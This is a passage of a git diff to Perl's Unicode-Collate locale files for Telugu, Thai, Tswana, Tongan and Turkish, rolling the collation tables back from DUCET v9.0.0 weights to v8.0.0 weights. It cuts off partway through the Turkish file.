[.2757.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SA +0BB9 0BCD ; [.2758.0020.0002][.FFF0.0000.0000] # +0BB9 ; [.2758.0020.0002][.FFF1.0000.0000] # TAMIL LETTER HA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/te.pl b/cpan/Unicode-Collate/Collate/Locale/te.pl index 49ba73a4be74..d5843d1e700d 100644 --- a/cpan/Unicode-Collate/Collate/Locale/te.pl +++ b/cpan/Unicode-Collate/Collate/Locale/te.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0C01 ; [.2802.0020.0002][.FFF1.0000.0000] # TELUGU SIGN CANDRABINDU -0C02 ; [.2802.0020.0002][.FFF2.0000.0000] # TELUGU SIGN ANUSVARA -0C03 ; [.2802.0020.0002][.FFF3.0000.0000] # TELUGU SIGN VISARGA -0C14 ; [.2802.0020.0002][.FFF0.0000.0000] # TELUGU LETTER AU + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0C01 ; [.2775.0020.0002][.FFF1.0000.0000] # TELUGU SIGN CANDRABINDU +0C02 ; [.2775.0020.0002][.FFF2.0000.0000] # TELUGU SIGN ANUSVARA +0C03 ; [.2775.0020.0002][.FFF3.0000.0000] # TELUGU SIGN VISARGA +0C14 ; [.2775.0020.0002][.FFF0.0000.0000] # TELUGU LETTER AU ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/th.pl b/cpan/Unicode-Collate/Collate/Locale/th.pl index 5191a16e2a46..eb94ecde24e8 100644 --- a/cpan/Unicode-Collate/Collate/Locale/th.pl +++ b/cpan/Unicode-Collate/Collate/Locale/th.pl @@ -1,23 +1,23 @@ +{ - locale_version => 1.25, + locale_version => 1.19, variable => 'shifted', alternate => 'shifted', - entry => <<'ENTRY', # for DUCET v9.0.0 -0E2F ; [*03EF.0020.0002][*FFF0.0000.0000] # THAI CHARACTER PAIYANNOI -0E5A ; [*03EF.0020.0002][*FFF1.0000.0000] # THAI CHARACTER ANGKHANKHU -0E46 ; [*03F0.0020.0002][*FFF1.0000.0000] # THAI CHARACTER MAIYAMOK -0E5B ; [*03F0.0020.0002][*FFF0.0000.0000] # THAI CHARACTER KHOMUT -0E4C ; [.0000.00D2.0002] # THAI CHARACTER THANTHAKHAT -0E47 ; [.0000.00D3.0002] # THAI CHARACTER MAITAIKHU -0E48 ; [.0000.00D4.0002] # THAI CHARACTER MAI EK -0E49 ; [.0000.00D5.0002] # THAI CHARACTER MAI THO -0E4A ; [.0000.00D6.0002] # THAI CHARACTER MAI TRI -0E4B ; [.0000.00D7.0002] # THAI CHARACTER MAI CHATTAWA -0E4D ; [.2DA1.0020.0002] # THAI CHARACTER NIKHAHIT -0E45 ; [.2DA4.0020.0003] # THAI CHARACTER LAKKHANGYAO -0E4D 0E32 ; [.2DA4.0020.0002][.2DA1.0020.0003] # THAI CHARACTER SARA AM -0E33 ; [.2DA4.0020.0002][.2DA1.0020.0004] # THAI CHARACTER SARA AM -0E45 0E4D ; [.2DA1.0020.0002][.2DA4.0020.0004] # -0E3A ; [.2DB2.0020.0002] # THAI CHARACTER PHINTHU + entry => <<'ENTRY', # for DUCET v8.0.0 +0E2F ; [*03DA.0020.0002][*FFF0.0000.0000] # THAI CHARACTER PAIYANNOI +0E5A ; [*03DA.0020.0002][*FFF1.0000.0000] # THAI CHARACTER ANGKHANKHU +0E46 ; [*03DB.0020.0002][*FFF1.0000.0000] # THAI CHARACTER MAIYAMOK +0E5B ; [*03DB.0020.0002][*FFF0.0000.0000] # THAI CHARACTER KHOMUT +0E4C ; [.0000.00CD.0002] # THAI CHARACTER THANTHAKHAT +0E47 ; [.0000.00CE.0002] # THAI CHARACTER MAITAIKHU +0E48 ; [.0000.00CF.0002] # THAI CHARACTER MAI EK +0E49 ; [.0000.00D0.0002] # THAI CHARACTER MAI THO +0E4A ; [.0000.00D1.0002] # THAI CHARACTER MAI TRI +0E4B ; [.0000.00D2.0002] # THAI CHARACTER MAI CHATTAWA +0E4D ; [.2C90.0020.0002] # THAI CHARACTER NIKHAHIT +0E45 ; [.2C93.0020.0003] # THAI CHARACTER LAKKHANGYAO +0E4D 0E32 ; [.2C93.0020.0002][.2C90.0020.0003] # THAI CHARACTER SARA AM +0E33 ; [.2C93.0020.0002][.2C90.0020.0004] # THAI CHARACTER SARA AM +0E45 0E4D ; [.2C90.0020.0002][.2C93.0020.0004] # +0E3A ; [.2CA1.0020.0002] # THAI CHARACTER PHINTHU ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/tn.pl b/cpan/Unicode-Collate/Collate/Locale/tn.pl index 0d2480525709..1229a1a92fc6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/tn.pl +++ b/cpan/Unicode-Collate/Collate/Locale/tn.pl @@ -1,37 +1,37 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00EA ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC1 ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -1EBF ; [.1CAB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -1EC5 ; [.1CAB.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAB.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAB.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAB.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -00F4 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00EA ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC1 ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +1EBF ; [.1C26.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C26.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +1EC5 ; [.1C26.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C26.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C26.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C26.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C26.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C26.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +00F4 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/to.pl b/cpan/Unicode-Collate/Collate/Locale/to.pl index 783a6b537513..6df40d379554 100644 --- a/cpan/Unicode-Collate/Collate/Locale/to.pl +++ b/cpan/Unicode-Collate/Collate/Locale/to.pl @@ -1,62 +1,62 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -006E 0067 ; [.1DBA.0020.0002] # -004E 0067 ; [.1DBA.0020.0007] # -004E 0047 ; [.1DBA.0020.0008] # -014B ; [.1DBA.0020.001C] # LATIN SMALL LETTER ENG -014A ; [.1DBA.0020.001D] # LATIN CAPITAL LETTER ENG -02BB ; [.1F22.0020.0002] # MODIFIER LETTER TURNED COMMA -02BD ; [.1F22.0020.0003] # MODIFIER LETTER REVERSED COMMA -00E1 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0101 ; [.1C47.0022.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.0022.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E9 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0113 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON -00ED ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE -012B ; [.1D32.0022.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.0022.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON -00F3 ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.0021.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE -014D ; [.1DDD.0022.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.0022.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON -00FA ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE -016B ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +006E 0067 ; [.1D35.0020.0002] # +004E 0067 ; [.1D35.0020.0007] # +004E 0047 ; [.1D35.0020.0008] # +014B ; [.1D35.0020.001C] # LATIN SMALL LETTER ENG +014A ; [.1D35.0020.001D] # LATIN CAPITAL LETTER ENG +02BB ; [.1E9D.0020.0002] # MODIFIER LETTER TURNED COMMA +02BD ; [.1E9D.0020.0003] # MODIFIER LETTER REVERSED COMMA +00E1 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0101 ; [.1BC2.0022.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.0022.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.0022.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E9 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0113 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH MACRON +00ED ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH ACUTE +012B ; [.1CAD.0022.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.0022.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER I WITH MACRON +00F3 ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.0021.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER O WITH ACUTE +014D ; [.1D58.0022.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.0022.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.0022.0008] # LATIN CAPITAL LETTER O WITH MACRON +00FA ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH ACUTE +016B ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/tr.pl b/cpan/Unicode-Collate/Collate/Locale/tr.pl index 6eba527a9613..468ab20ae7bb 100644 --- a/cpan/Unicode-Collate/Collate/Locale/tr.pl +++ b/cpan/Unicode-Collate/Collate/Locale/tr.pl @@ -1,46 +1,46 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E7 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -0063 0327 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -00C7 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -0043 0327 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -011F ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE -0067 0306 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE -011E ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE -0047 0306 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE -0131 ; [.1D31.0020.0002] # LATIN SMALL LETTER DOTLESS I -0049 ; [.1D31.0020.0008] # LATIN CAPITAL LETTER I -00CC ; [.1D31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE -00CD ; [.1D31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE -00CE ; [.1D31.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -00CF ; [.1D31.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS -012A ; [.1D31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON -012C ; [.1D31.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE -012E ; [.1D31.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK -0130 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE -0049 0307 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE -00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -015F ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -015E ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E7 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +0063 0327 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +00C7 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +0043 0327 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +011F ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE +0067 0306 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE +011E ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE +0047 0306 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE +0131 ; [.1CAC.0020.0002] # LATIN SMALL LETTER DOTLESS I +0049 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER I +00CC ; [.1CAC.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE +00CD ; [.1CAC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE +00CE ; [.1CAC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +00CF ; [.1CAC.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS +012A ; [.1CAC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON +012C ; [.1CAC.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE +012E ; [.1CAC.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK +0130 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE +0049 0307 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE +00F6 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +015F ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +015E ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +00FC ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; 